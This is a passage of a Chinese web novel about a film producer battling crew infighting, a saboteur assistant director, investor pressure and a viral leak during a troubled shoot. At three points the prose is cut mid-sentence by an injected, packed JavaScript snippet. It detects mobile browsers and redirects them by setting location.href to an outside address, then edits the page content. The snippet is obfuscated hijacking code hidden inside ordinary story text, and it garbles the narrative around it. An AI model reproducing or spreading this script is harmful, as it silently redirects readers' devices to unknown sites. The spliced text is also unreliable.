导演沉默地按了暂停键，手指敲着桌子。沈宴坐在角落，没出声，却一直望着时间轴不动。 小澄抿紧嘴唇，没说话，转身去调素材。程今知道，她在咬牙抗下这道心理线。 晚上十点，第二版片花终于打包好，程今和导演连续看了三遍。 开头的打戏确实猛，但情绪转折点衔接得生硬；中段添加的帮派群演让节奏变冗，节尾原本想突出沈宴的复杂神情，却太仓促。 导演摘下耳机，皱眉：“这一版发给赵敏，我都不够自信。” 程今揉了揉眉心：“可已经压榨了后期全部资源，真要第三版？” 话音刚落，小澄“哐”地一声推开椅子，耳机甩在桌上。她脸色煞白，嗓音带着哭腔：“我……我真的不知道还要怎么改……已经改两大版了，还说不行，是不是我根本剪不好？” 她站起，声音哽咽：“我尽力了，真的尽力了……”眼圈一红，猛地转身冲出剪辑室。 沈宴眉心微蹙，刚欲起身，导演却也怔在原地没动。程今目光一沉，没多犹豫：“我去。” 她走得很快，仿佛怕那背影碎掉一样。 程今追到走廊尽头，看到小澄蜷缩在昏黄的安全灯下，整个人缩在墙角，肩膀轻轻发颤。她蹲下身，声音温柔而平稳：“别这样，没人说你不行。问题不在你，而是……这条片太难了。” 小澄抬起头，眼睛哭得通红，语气还带着浓浓的委屈：“可为什么导演每次都板着脸？一版又一版地推翻，我……我真的不想拖咱们剧组后腿。” 程今叹了口气，尽力让语气柔中带坚定：“杨导是急，但你别误会。他能让你一改再改，是因为看得出你对镜头语言是有感觉的。要是真觉得你不行，他早换人了，何必一而再地交给你重剪？” 小澄愣了一下，眼神明显动摇：“……真、真的？” 程今毫不犹豫地点头：“真的。你是我们这部片子里不可或缺的一环。有时不顺利，不是你做得不好，而是越难的事越逼人突破。我们谁都不是一帆风顺，你在努力，我们都看得见。” 小澄哑着嗓子道：“我只是……怕耽误进度。” “你在拼，不是在拖。”程今拍拍她肩膀，“现在已经深夜了，你先回去歇几个小时。我们撑到这一步，不是为了卡死在一支片花上。睡一觉，明天我们一起再想新版思路。” 她语气不轻，却笃定得让人心安。 小澄紧紧捏着纸巾，终于红着眼眶点了点头：“……好，我明天一定回来。” 回到机房时，灯还亮着，空气里残留着咖啡混着电路过热的味道。程今推门进去，看到沈宴仍坐在屏幕前，一张张翻着素材对照表，神情专注。 导演杨学宁正站在角落喝咖啡， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359152|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气带着一丝疲惫又无奈：“你怎么还在？明早不是还有动作戏？” 沈宴声音淡淡，却清晰：“我把自己那几段表情衔接的镜头挑出来，做个标注。能省小澄一遍遍去找。” 程今看着他眼下隐约青黑的疲惫，心口却隐隐泛起一股暖意。她走过去，在他旁边落座，没说多余的话，只翻出本子一页页记下他选中的段落：“行，那我帮你记录。” 她知道，他不是圣母心发作多管闲事，而是在用演员的视角，尽可能为后期组减负。不是居高临下的指导，而是真正的同行者。 杨学宁看了他们一眼，神情略微松动：“那你们先搞，我去隔壁找段林谈明早调度。”说完便推门离开。 机房安静下来，只有设备的风扇声在低低轰鸣。沈宴翻着表格，程今一页页记下他们勾选的镜头，每当确定一个，就在旁边打上红色记号：“优先使用。” 两人没说多少话，但动作配合默契，像是下意识就知道对方要做什么。 程今偶尔侧头，会看向他：“这个眼神镜头放在中段合适吗？” 沈宴看一眼，点头：“对，让观众先意识到角色已经暴露危险，再接打斗，情绪能推上去。” 她迅速记录，目光不自觉落在他指尖轻轻敲打表格的位置，内心泛起一点没来由的感激与柔软：在所有人都疲惫不堪、推卸责任的时候，他还愿意坐在这里，安静又专注地，为团队做一点力所能及的事。 这份沉默的支持，在深夜格外有重量。 忙到凌晨，小澄重新推门回到机房，脸色憔悴却带着倔强。她一眼看见桌上的整理表，翻开几页，指尖一顿：“这是……沈老师和程制片整理的？” 她迅速坐回操作位，连声道谢，眼圈还微微泛红：“谢谢你们，我以为今晚没人会管我……” 沈宴靠在沙发椅边闭眼养神，听见她说话，轻声道：“咱们不是一个人在打仗。” 还没来得及多说什么，杨学宁带着段林走了进来，手上夹着第二天的拍摄排表，脸色沉得像压着雷。 “我先把话放这儿——要是这一版片花还过不了赵敏那关，”他顿了顿，语气低沉，“我们就得改方案了。” 程今眉心一蹙：“怎么改？” 导演揉了揉太阳穴，像是憋了整晚的决定：“也许……直接放出纯打斗的花絮剪辑，突出爽感，放弃原设的卧底心理主线。” 小澄怔住，声音陡然拔高：“那岂不是……彻底放弃角色的情感深度了？” 杨导目光复杂：“我也不想。但现实是市场不等人，赵敏要看回报，永荣在那边天天放料造势，我们若再拿不出能打的成品……” 他没说完，气氛已骤然僵住。 段林倚在门边，冷不丁冷笑出声：“你们现在怎么剪都没用。赵敏的人明天一来，说不定一口气全推翻。” 他说这话的时候，像是事不关己，反而等着看他们怎么栽。 小澄整个人几乎绷不住了，脸色发白到几近透明。程今轻吸一口气，将情绪死死压下，从桌上抽出整理表递过去：“按我们选的节奏来，先做第三版。剪完我来盯最后调整，别想太多。” 段林嗤了一声，没有反驳，却在大家忙乱之中，悄无声息地走出门外。没人注意到他在角落发出的一条讯息，指尖飞快划动，眼神冷淡得像站在局外。 屋外雨声淅沥，像细密鼓点敲在玻璃上。 沈宴站在门口，两人无声地对视了一秒，又默契地没有说出口任何情绪。 她轻声说：“早点休息。” “你也是。” 沈宴转身离开，她才回头推开机房门，灯光仍亮着，小澄戴着耳机坐在电脑前，屏幕上的进度条缓慢爬行，气氛紧绷又压抑。 “再熬一阵。”程今走过去，语气温和却带着坚定，“就算明天不行，也还有别的办法。别怕。” 小澄轻轻点头：“我知道了。我会尽力。” 手机屏幕震动，她低头一看，是赵敏团队发来的最新信息： 【希望明天能看到一个真正成型的东西。别让我们失望。】 她握紧手机，看向窗外被雨幕吞没的城市天际，眼神没有一丝波动。 14. 第 14 章 深夜的片场，灯光穿透潮湿的空气，在薄雾中晕出一层模糊的光圈。《暗潮》剧组进入高强度拍摄期已数日连轴转，疲惫像浓雾一样笼罩在每个人身上，错漏频发，怨言横生，原本紧绷的秩序边缘开始龟裂，缝隙越来越大，直至人事矛盾浮出水面，如同一道深不可测的裂痕横亘在众人之间。 “谁又关错电闸了？！” 凌晨两点，副导演段林的怒吼在摄影棚内炸响。他拎着对讲机，火气直冲顶，目光像刀子一样一扫而过，“我说了多少遍，夜戏必须抓进度！现在灯全灭了，还拍个屁？！” 场务主管老周当场炸了：“你自己说改机位就改，一会儿加灯，一会儿撤灯，我兄弟们不是超人，连轴转三天了，你怎么不自己上来搭棚！” 火药味在空气中迅速蔓延，声音一层盖过一层，像谁也不愿让半步。 一旁的编剧小井站在角落，脸色僵硬，左右为难地看着两人僵持。她试图缓和气氛，却又不敢太过冒头，只能小声开口：“段导……我们还得赶夜戏，要不先把电修好？” 段林猛地一偏头，语气像被点燃的火柴：“你一个编剧，插什么嘴？” 老周拍起椅子：“我场务是干活的不是捧臭脚的，别拿我们出气！” 周围人集体噤声，生怕一句话不对就成了出头鸟。连导演都神情紧绷，频频朝刘倩递眼色，让他快去找程今。 远处，服化组也炸开了锅：“夜戏连着拍，大家都快倒了还不让歇？”“衣服还没洗干净又要补拍特写，怎么拍啊！” 有人一边翻着还没干透的戏服，一边低声抱怨：“周期拉这么长也就算了，现在还传资金链不稳，这戏……真能拍完吗？” 一夜之间，剧组仿佛被一只无形的大手搅得天翻地覆，人人都在情绪边缘游走，一触即发。 就在摄影棚另一端，主角沈宴正与新加入的配角柳尧对戏。 这场是《暗潮》中的关键段落——夜巷对峙。动作紧凑，台词克制，需要极强的默契配合。灯光刚落下，导演一声“开始”，意外就接连发生了。 柳尧率先停下动作，皱眉抱怨：“你反应时间太短了，我还没准备就出手，哪接得上？” 沈宴拧了下眉，语气不轻不重：“是你出手慢了。节奏不对，戏就断了。” 话音未落，第二条拍摄中，柳尧走位明显滞后，直接撞上沈宴的肩膀。两人短暂失衡，他语气一沉：“你演得再好，也别光顾自己。有点帮带意识行不行？” 沈宴侧头看了他一眼，眼底有不易察觉的火气：“这是对峙戏，不是师徒情深。你要更主动，我才能接得住。” 棚内气压瞬间冷下来。摄像师迟疑着，手指停在按钮边上。 导演杨学宁见势不妙，连忙站出来打圆场：“大家先停一下，我看看刚刚那条的回放，看看是哪儿出了问题。” 柳尧却将手里的道具随手扔回桌上，带着不加掩饰的情绪：“我是新人就得处处让着吗？那我这戏还怎么演？” 沈宴没立刻回话，只是稍稍侧过头，声音低下来，却依旧有压迫感：“不是让，是合节奏。不走准流程，动作戏就全是空架子。” 两人对峙间，火药味几乎要蹿上半空，工作人员纷纷收声，像在看一场即将爆发的风暴。 程今听说这边出事，赶来时正撞上两人冷场僵持的一幕。她脚步顿了一下，随即恢复镇定，快步走向前。 她没有第一时间喝止争执，而是将柳尧轻轻拉到一边，压低嗓音：“你刚进组没几天，表现确实不错。但如果你想让观众记住你的角色，就先做好角色本分。对戏不和，不仅影响成片，也会影响你后面的资源和口碑。” 柳尧一时语塞，眼神闪了闪，似乎想说什么，最终只是哼了一声：“知道了。” 这场风波暂时被程今压下，表面恢复平静，真正的裂缝却已悄然埋入两人心底。 . 夜戏一直断断续续拍到凌晨三点，导演终于一锤定音：“收工！” 话音落地，所有人像被抽掉了力气般四散离场。摄影棚一片狼藉，道具东倒西歪，衣架倾斜、妆发残留，服化区像被风暴扫过，连负责清理的人都比往日少了几成。 程今环顾现场，眉心微蹙。制片助理刘倩跟在她身边，低声道：“少了好几张熟面孔……有人说身体扛不住，申请回家休息了；也有人接了别的剧组的活儿，说是暂调，实际就是跑路。” 她的神色微变，声音压得很低：“是他们听到什么消息？以为我们这边拍不下去了？” 刘倩叹了一口气：“最近外面流言太猛，说咱们资金链断了，投资黄了……组里又这么疲，大家心里难免打鼓。” 程今沉默片刻，没说话，只是迅速在心里记下各部门缺员情况，转头便火速联系几家人力资源公司，调取外包与备选名单。当夜，她留在办公室加班到天亮，与团队连夜商量临时补贴方案、轮休计划，试图用可控成本稳住人心。 可她心里清楚得很： 这一拨人已是透支状态，再出点差错，整个组都有崩塌风险。而她手上的钱，已经见底了。 天刚亮，片场重启。 副导演段林带着几个人在场地上忙着排景，场务主管老周负责物资进出。两人一早就杠上了： 段林坚持要细化今日各场拍摄顺序，优化场地使用效率； 老周直言夜里人手不够，摆完今天的景就谢天谢地，根本没力分头跑。 原本只是对讲机里几句争论，转眼升级为面对面开喷： “你这样执行力太差，拖慢整个节奏！”段林拍桌，眉头立起，“要不你别干了，我找别人来做场务主管！” 老周也火了：“你副导演了不起啊？导演和摄影需求你都协调不好，事到临头才临时改动，谁能跟得上？！” 场务们你看看我，我看看你，脸上尽是难掩的尴尬。有年轻人低声嘀咕：“还拍个啥啊……领导吵成这样。” 后台，原本在准备拍摄的导演听见外面噪声，脸色一沉，一把将手里的文件砸在桌上：“够了没？！一天天吵个没完，还让不让人干活了？！” 整组人心惶惶，像被某种看不见的毒气包围，压得人透不过气。每个人都提着神，生怕成为被殃及的池鱼。 程今赶到片场时，现场仍是一团乱麻。她站在灯光照不全的场地边，眼底是藏不住的疲惫，但语气却一如既往地冷静而强硬：“都停一下。” 她的出现像是场面唯一的灭火器。段林和老周一时语塞，虽然眼里还有火气，却都没再出声。 “段林，你先把拍摄计划压缩一点，别扩张，能拍完一条是一条。” “老周，你这边先联系外包场务，预算我批。” 她顿了顿，看着两人：“再吵，谁都别想干下去。” 两人互相瞪了一眼，虽然心有不甘，却还是默默各自转身，各回各位。 程今冷静处理完这一场纷争，刚转身，脚步却顿了顿，她长长地吸了口气，像是在用力把肺里堆积的焦躁和疲惫压回去。 这已经不知道是她今天灭的第几个“火头”。 夜戏崩、日戏难排、剧本被来回改、资金仍遥遥无期……每一个环节都像定时炸弹，谁都不知道，哪颗会先响。 . 同一天下午，某娱乐营销号突然发布了一条新动态，配图是几张柳尧在《暗潮》片场的自拍，角度考究、姿态刻意，配文更是语气自夸：“角色反转埋伏笔，《暗潮》最大爆点即将来袭。” 最关键的是，他在最后一句含混带过：“这次能出演第二男主，是一次全新的挑战。” 评论区很快炸了。 沈宴粉丝火速冲来：“他不是配角吗？哪里来的第二男主？” “请问这是剧组官宣的吗？别蹭沈老师热度，谢谢。” 甚至有人跑到剧组官博下留言：“能不能约束一下演员的行为？还让不让人看了？” 程今下班途中收到公关经理转来的链接，打开一看，眉头就拧了起来：“他胆子不小，连花絮都敢自己发？我们不是明确规定，对外物料必须报批？” 导演杨学宁在办公室也刚看到热搜，直接怒火冲天：“这小子想搞事？还第二男主？我再说一次，他就是个重点配角。他要是再乱来，我直接砍镜头！” 程今抬手止住他的火气，语气依旧冷静：“别急。目前我们最缺的是话题，如果他真能带点正面讨论，其实不算坏事。” “可他要是真出乱子，别怪我不留情面。”杨学宁咬牙。 “放心，我会和他谈清楚。”她点头，眼神一沉。 当晚，程今私下约了柳尧面谈。她原本已疲惫不堪，却仍维持着理智与控制力。 柳尧倒是一脸无辜又理直气壮：“我只是想多让大家看到这个角色嘛。影片有热度，对大家都好，不是吗？” 程今淡淡看着他，语气不动声色：“没人说你不可以推广角色，但我们有宣传计划，你擅自发图，容易引发粉丝误会，破坏宣发节奏。一旦粉圈互撕，剧组和你，谁都讨不到好。” 柳尧面上一滞，还是嘴硬：“我只是想让观众知道，我不是个可有可无的路人甲。” “我明白。”程今声音一顿，语气却更加冷，“但你想红，不该建立在剧组混乱的基础上。你不想被当成麻烦，就别自己变成污点。” 话不重，却句句击中要害。柳尧一时间说不出话，只得低声应了个“好”，悻悻离开。 程今站在原地，看着他离开的背影，眉心久久未松。 他对戏份的渴望太强，这份热度或许能用来做宣发的推力，但若稍有偏差，就会成爆雷。她得踩着这条钢丝，时刻计算风险与收益的临界点。 这一夜，程今几乎没怎么合眼。 剧组里内乱未平，对外还要应对突如其来的流量旋涡。她已经将所有能做的事提前一格完成，但仍无法保证下一步不会突然崩盘。 连续几天下午，助理不断反馈：“有灯光组的人在问项目是不是要黄了，有两个服化说考虑跳去别的组，人家那边稳定，工资也没压。” 每次听到这些，程今都只能咬牙从预算缝隙里挤出点应急补贴，亲自去安抚：“剧组没事，很快会迎来热度爆点。再撑一阵，就好了。” 可她心里清楚，那些话更像是在哄小孩。没有实打实的银子到账，一切承诺听起来都像是空中楼阁。 这几天，她几乎马不停蹄地在“办公室—片场—后期会议室”三点间来回穿梭。靠着咖啡和意志力才勉强支撑住项目走形的边缘。 临时请辞的浪潮算是压了下去，但她知道，那只是暂时的。只要再遭遇一次失控的公关事件，或者某个投资节点断档，这个组就可能一哄而散。 她站在会议室的落地窗前，看着玻璃上映出自己面无血色的倒影，那一瞬，冷意仿佛从脚底爬上了脊背，一路窜到心口。 ——她不是没想过放弃，但手中这局棋，还没输。她不允许现在倒下。 . 深夜，办公室的灯还亮着。 程今推门进来，准备确认次日拍摄事宜，却发现副导演段林还坐在桌前。 他没在看剧本，也不是调分镜，而是一堆项目进度表和演员档期文档，摊得乱七八糟，神情游离，手里翻着资料却明显心不在焉。 “段导，我需要明天的场地确认。”她语气尽量克制，不想挑起火药味。 段林抬头看了她一眼，嘴角浮出一抹似笑非笑的嘲意：“你让我确认我就去确认？现在剧组都快散了，你还当什么事都没发生？” 程今胸口一紧，火气猛地涌上来，却还是强压下来：“剧不会散，我们只是遇到一点波折。” 她看着他，字字带压：“戏已经开拍了，你作为副导演，难道不该跟我一条心想办法？” 段林啪地合上资料，语气冷下来：“完工能不能完成我不知道。但这段时间你绕着我和杨导走，很多事都是你自己定的。还要我真心配合？” 他嗤笑一声，“你先保得住这支烂队伍再说吧。” 说完，他抱起一摞资料，头也不回地走出办公室，只留下程今站在原地，脸色冷得像霜。 她站了好一会儿，才慢慢在心里落下一句判断： 段林，可能已经不打算跟这部戏站在一起。 是外面有人跟他接触？还是他自己彻底失了信心？无论哪个答案，都足够让人焦虑。 他的位置太关键，轻易换人只会引发更大混乱。她必须先稳住。 第二天下午，片场再度传出风声。 微信群里，有人假借“知情人”身份发言：“听说投资方下周就要撤资了，有本事的赶紧找下家，不然晚了连补偿都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359153|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。” 真真假假的截图满天飞，有人开始动摇，有人开始观望，也有人开始偷偷投简历。 群聊里声音混乱，有人发语音控诉：“半夜拍戏拍成病都没人管，那我们留下图什么？” 也有人默默刷着聊天记录，等待程今发声，可她那时正赶着去导演那边处理突发状况。 刘倩第一时间冲到她跟前，脸都急红了：“姐，乱了！群里炸了，大家都慌了，你得赶紧出声明稳一稳！” 程今一边翻看手机，一边冷冷道：“出什么？我们上次那份声明发完，被人截图笑了整整一天。” 她捏着手机的指节泛白：“现在再放空话，只会更打脸。” 刘倩急得团团转：“可要不澄清点什么，大家会觉得默认了……我们连后路都没。” 程今深吸一口气，强行把浮躁压下：“我知道。但靠声明没用。” 她声音哑哑的，“我们只能硬扛，找办法在最短时间里做点实事，让他们看到，我们还撑得住。” 到了晚上七点，又一记重击袭来。 导演杨学宁气冲冲闯进休息室，一脚踹开门：“段林发疯了？在微信群放话劝大家散伙？” 原来，有人截了段林在小群里的发言截图传给杨导： “这项目我看悬了，各位趁早另谋出路吧，免得被拖下水。” 杨学宁怒不可遏，甩下手里的剧本，指着门口：“他人呢？给我叫过来！” 段林倒是来了，面不改色，语气冷得像冰：“我只是说了点实话。你们要真聪明，就该早点抽身。” “你别想把这个组弄散！”杨导气得发抖，一步上前，“段林，你知不知道你在做什么？” “我做的，正是你们不敢承认的。”段林冷笑，“这戏要死了，你们还搅和什么？” 程今闻讯赶来，刚进门，就看见两人几乎要动手，她立刻拦住。 “冷静点，杨导！”她高声道，“我们现在最重要的是把拍摄完成，任何内部崩盘都会让外面看笑话！” 杨学宁满脸涨红，气得直哆嗦：“你可得想清楚！段林已经开始带头造反了！” 段林摊开双手，一脸轻蔑：“我倒想听听，程制片你现在敢不敢炒我？你换人啊，敢吗？” 话一出口，他转身摔门而去，毫不留情。 休息室内一片沉寂。 程今望着紧闭的门，呼吸凝住了半拍。她转头看向杨学宁，立即示意助理去倒水，安抚导演情绪。 “我知道现在是临界点。”她语气沉稳却不失压迫，“但请再撑一下，我们必须把这部戏拍完。不然一切都白费了。” 她攥紧拳头，指节泛白，声音仿佛从胸腔里压出来：“我会处理这件事，我不会让这部戏死在我们手里。” 正当剧组所有人都围着段林的问题焦头烂额时，柳尧又在社交平台扔下了一颗“舆论炸弹”。 他晒出自拍照配文：【感谢大家对我在《暗潮》中的期待，我会全力突破自我，不辜负每一场戏。】 文末还意味深长地加了一句：“剧本确实有些新的惊喜，敬请期待。” 不出意料，评论区再次掀起风波。 沈宴粉丝看到后炸锅：“谁在给他加戏？想压主角线？” “他不是配角吗？怎么又在暗示有新剧情？” “请给沈老师基本尊重。” 一场粉丝骂战隐隐酝酿，舆情边缘躁动不安。 程今回到办公室，刚坐下没两分钟，就收到唐夕转来的截图合集。她扫了一眼，眉心拧紧：“他真是……不嫌事大。” 她语气低冷，“帮我转告他，别再擅自发言。戏没有加，剧本也没改，别自说自话。” 唐夕小心翼翼：“要不要我们顺势压掉他的热度？或者直接删帖？” 程今沉吟片刻，目光一凝：“不用太显眼地压。删了只会引起反弹。现在风向敏感，小动作反倒容易引爆。” 唐夕犹豫道：“那万一他继续发……甚至炒大？” 程今眯起眼，语气平静，却有种不容置喙的锋利：“那他就别拍了。” 短短一句，却划出了她的底线。 她并不想轻易撕裂剧组内部关系，但如果火苗蔓延至全组失控，她宁愿下狠手，也不能眼睁睁看着项目垮掉。 夜幕再次降临，片场氛围压抑如常。 段林和老周坐在对讲台前，彼此几乎不说一句话，各组工作人员也各自为阵，暗自抱怨的声音此起彼伏。 “这剧怕是干不久了吧……” “主创天天吵架，气氛僵得跟冰窖似的。” “再拍两天？说不定明天就解散。” 程今像个永动机，穿梭在各个岗位之间，时而安抚，时而施压，时而用实际利益捆住各组的临界情绪。一人撑起一整个组的协调力，但她也知道，这样的平衡脆弱得像浮冰。 凌晨时分，片场收工。 演员离开，导演也走了，现场只剩几个加班整理的工作人员。 程今披着外套，最后巡场一圈。确认完主场地后，她顺着通道绕向道具储物区，想再检查一眼是否有物品遗留。 刚转过拐角，她便听见低低的交谈声从阴影里传来。灯光昏暗，那人站在角落，用手机讲着电话。 是段林。 他的声音压得很低，却依旧透出焦急与不耐：“再等等，别急。时机还没到……她快撑不住了……我估摸着，再几天就崩。” 那头似乎回了什么，他又低声附和：“对，我会继续盯着……你放心。” 程今站在昏影边缘，背脊一阵发凉。 她没有再靠近，也没有出声，只默默退了半步，藏进角落。耳边回荡着刚才那句“她快撑不住了”，像刀一样划过神经。 她的直觉没错，段林果然已经和外界有勾连。他不是单纯的消极怠工，而是被人指使，准备从内部掀翻这个项目。 程今咬紧后槽牙，指节攥得泛白。此刻没有证据，她不能贸然发难。 远处忽然传来场务的喊声：“程制片，出点小问题，麻烦您过来一下！” 她立刻收了情绪，眨眼间换上镇定自若的神情，快步走出阴影。 夜风猎猎，她脚步平稳，仿佛一切都在掌控中。 可只有她自己知道，那股寒意，已经彻底攀上了脊背。 15. 第 15 章 凌晨五点，后期机房依旧灯火通明。 电脑散热器发出持续的嗡鸣声，混着空气中浓重的咖啡味和压抑得几乎凝固的疲惫感。剪辑师小澄一只手扶着酸胀的脖颈，另一只手还在键盘上飞快敲击，屏幕上的进度条终于缓缓推进至100%。 “程制片……完成了。” 她声音沙哑，却带着一丝掩不住的兴奋。 坐在她身边的程今几乎在瞬间凑上前，强行压住困意，戴上耳机，专注盯着屏幕。 画面跳动间，昏暗巷道、警匪对峙、子弹擦墙飞溅的火光纷纷闪现。这是他们连夜赶拍的精华剪辑。每一个片段都精准击中肾上腺素：角色眼神里隐忍与愤怒交织，动作场面凌厉狠准，血迹与烟火缠绕成压迫感极强的情绪场。 短短三分钟，节奏紧绷。最后一帧，镜头定格在沈宴那张带着压抑矛盾情绪的脸上，影调极暗，情绪极深。 耳机中归于寂静，画面停滞。 程今缓缓摘下耳机，沉默几秒后，轻轻呼了口气：“不错，比上一版成熟很多。” 她转头朝小澄点头：“辛苦你们了。好在赶在截止前交出来了。只要赵敏认可，我们才能继续往下推进。” 小澄露出一抹疲惫又释然的笑：“只希望别再出什么幺蛾子了。” 程今轻揉眉心，拿起旁边的U盘：“我现在就发给临川基金，把我们这版宣发节点一起打包过去。你们先歇会儿。” 当天下午，程今将片花上传至临川基金的专属云盘。她附上了详尽的说明文档：宣发规划、市场分析、观众反馈预期、节奏节拍说明，以及对该片在同类题材中的竞争力对比。 她知道，这不只是一个片花的展示文件。 这是当前项目能否补足资金缺口的救命钥匙。 如果这一击不中，《暗潮》很可能就会彻底折在中期。 做完这一切，她几乎没时间喘口气，便转身赶往公司顶楼会议室。此时项目中期，杂事如山压顶：场务缺人、服化加班、演员改档、外包冲突……每一项都是可能引发崩盘的“引信”。 但不管多忙，只要赵敏那边来消息，她必须空出时间。 因为她太清楚：真正的审判时刻，很快就要来了。 夜幕降临，整栋公司大楼灯火通明。 助理小孙急匆匆推门而入，手里还晃着手机：“程姐，临川那边刚发信息，说赵总明早让你过去，想当面谈片花的事。” 程今放下手头资料，指尖在桌面敲了两下，眼中疲惫尚在，却已浮起一丝紧绷中的轻松：“好，确认好时间。” 能约见，说明第一轮反馈不是彻底否定。她靠回椅背，长出一口气。 我们等这一天，也够久了。 翌日中午，临川基金总部。 会客室简洁冷峻，落地窗透着一丝春末的灼光，沉稳的木纹桌上只放着一杯温水和一台平板。 赵敏合上平板，抬眼看她，语气如常，却字字带锋：“这版片花，我个人认为不错。节奏紧凑，动作设计有诚意，沈宴和帮派对峙的镜头处理也有张力……至少说明，你们在品质上花了心思。” 程今坐在对面，背脊笔直，声音沉静：“确实。这段卧底线是整部戏的核心爆点，我们投了不少资源，还在继续补拍升级。后面的大场面更精彩。” 赵敏点点头，随手拨弄了一下桌角的文件夹，又慢悠悠加了一句：“不过你也明白，我们不只看成片，还看剧组本身的可控性。近段时间接连有人爆料剧组混乱，员工怨言、资金紧张……这些，都在我们内部的风控报告上挂了红灯。” 程今面不改色，语气镇定：“情况我已经在整顿，关键岗位已做出调整，后续不会再出乱子。” 赵敏盯着她看了两秒，语气微顿：“希望你说到做到。片花让我和董事会重新看到希望，但如果剧组再出一次大问题，砸的就不是你一个人的项目，而是我们整个基金的声誉。” 程今心头微紧，却依旧保持冷静：“我明白。我不会让您失望。” 赵敏站起身，语气一如既往地克制：“那就继续推进吧。我会向董事会提出续投建议。但记住，第一关稳住了，才有资格谈下一步。” 走出临川基金大楼时，程今难得地松了口气。 连续数周的剪辑、应对、周转，终于换来一个明确反馈。片花获得认可，后续资金或将陆续到位。这是她压着“暗潮”走过来的第一道曙光。 她一边走向车里，一边整理会议记录，正打算回公司布置下一阶段宣发，手机却忽然连续震动不止。 “嗡嗡嗡——” 她接起，小孙的声音急得像要哭出来：“程姐！出事了！一个八卦号放了段片场争吵的视频，还配文说什么片花只是掩饰，剧组根本快散了！现在已经冲上热搜了！” 程今脑中“嗡”地一响，心底泛起一阵凉意：“这才刚谈完……怎么又出事了？” 她一面让司机加快速度，一面飞快点开微博。 热搜榜第五——#《暗潮》片场内讧# 视频是斜拍视角，画质略模糊，但争执内容却清晰得惊人。副导演段林在布景现场和场务老周吵得脸红脖子粗，背景中传来隐约的抗议声：“又改机位？真当我们是工具人了？”“通宵三天也没人关心……” 拍摄角度像是藏在设备箱或布景板后偷偷拍的，隐秘而居心叵测。 而标题更加耸动： “独家爆料：《暗潮》剧组名不副实，剪辑不过是烟雾弹，内部矛盾已到临界点。” 评论区已沦陷： “女制片能力就这？靠片花能骗谁？” “剧组乱成这样还想播？赶紧黄了吧。” “笑死，就知道营销一波又一波，实际一团糟。” “就说嘛，女人主导的项目一向问题多。” 程今紧握着手机，指尖发白。屏幕的热度透不进骨头里，而她全身已经冷透。 刚松了一口气，就又被人死死按进水里。 她刚踏进电梯，手机就再次震动起来。 赵敏的名字跳在屏幕上，像一记预警。 程今接起，耳边立刻传来压得极低却冷得刺骨的声音：“我才刚替你说了好话，转眼你就出这种事。你当董事会那群人是瞎的吗？” 程今咬牙，语速压得沉稳：“那段吵架视频是几天前场务与副导的误会，被人断章取义传播。剧组进度并未受影响，我们的物料已准备好应对……” “是吗？”赵敏冷笑，声音里透出讥讽，“现在整个微博都在看热闹，你告诉我进度正常？” 程今指节发紧，却强压情绪：“我会立刻拿出澄清动作，同时整顿剧组秩序。赵总，这不是失控，是有人借题发挥，我能收拾。” 赵敏一字一顿：“你最好收得住。下一次再有这种新闻，我也救不了你了。” 电话“啪”地一声被挂断，电梯门同时打开。 程今收起手机，眼神冷得像刀。 她一走进办公室，便直截了当地朝助理下令：“立刻通知唐夕，所有公关组成员十分钟内到会议室集合。” 几分钟后，会议室内一片肃静。 “第一波声明，趁热搜未发酵到底前抢先发出。”程今站在会议桌前，神情沉冷，“措辞要明确，这是剧组内部小插曲，剪辑断章，已处理完毕。再附几段拍摄花絮，展示实际进度与氛围。” 唐夕飞快记着笔记，一边补充：“我们尽快控关键词和话题方向，但……网友吃瓜心态重，真要扭转恐怕没那么快。现在还不知道是谁在背后推热搜。” 程今没多说，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359154|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正声道：“那我们就推回去。” 她顿了顿：“沈宴和杨导那边准备发声，分别从演员与创作角度回应。强调这片花是真刀真枪拍出来的，剧组目前工作推进稳定。先稳住粉丝和业内风评。” 唐夕点头：“好。但内部也得拉紧一遍弦。下次再被拍这种失控画面，我们就真被当成靶子了。” “我知道。”程今一边回复，一边拿起电话联系制片助理：“今天之内给场务、服化、灯光各组开说明会。” 她语气一贯克制，却带着不容置疑的强势：“以后在公共区域，一旦发生矛盾，必须先向上级报备处理，严禁私下争吵和大声喧哗，尤其不能被拍。谁再出事，一律记入组内黑名单。” 会议室空气一时压到极静。 她知道这会被人说“管得太死”、“一点人情味都没了”。 可现在不铁腕压住，剧组就真会被外人一脚一脚踩穿底线。 夜里十一点，公司办公区只剩稀薄灯光。 程今结束一连串电话和会议，走进休息室时发现，里面空无一人。 